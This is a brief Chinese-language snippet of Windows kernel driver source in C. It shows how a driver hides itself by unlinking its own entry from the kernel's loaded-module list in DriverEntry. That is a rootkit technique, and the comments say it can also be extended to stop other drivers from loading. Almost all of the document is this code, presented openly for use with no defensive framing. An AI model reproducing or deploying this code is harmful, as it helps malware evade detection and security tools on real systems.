内核驱动加载断链式隐藏自身
//创建一个驱动对象数据结构
typedef struct _KLDR_DATA_TABLE_ENTRY
{
LIST_ENTRY64 InLoadOrderLinks;//关键链
ULONG64 Undefined1;
ULONG64 Undefined2;
ULONG64 Undefined3;
ULONG64 NonPagedDebugInfo;
ULONG64 DllBase;
ULONG64 EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT Undefined5;
ULONG64 Undefined6;
ULONG CheckSum;
ULONG padding1;
ULONG TimeDateStamp;
ULONG padding2;
}KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY;
//驱动入口代码
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath){
//声明必要结构list获取自身对象结构
PKLDR_DATA_TABLE_ENTRY list = (PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
//断链操作,上一个对象等于下一个,下一个等于上一个对象,达到把自己隐藏起来的目的
*((ULONGLONG*)list->InLoadOrderLinks.Blink) = list->InLoadOrderLinks.Flink;
((LIST_ENTRY64*)list->InLoadOrderLinks.Flink)->Blink = list->InLoadOrderLinks.Blink;
//下面关键,功能可以达到很多!前后断隐藏自身(头尾全断可以达到禁止任何程序加载驱动的目的,其他还有很多,这里只列出一个)
list->InLoadOrderLinks.Flink = (ULONGLONG)&(list->InLoadOrderLinks);//Flink
list->InLoadOrderLinks.Blink = (ULONGLONG)&(list->InLoadOrderLinks);//Flink
//操作完成返回OK
return STATUS_SUCCESS;
}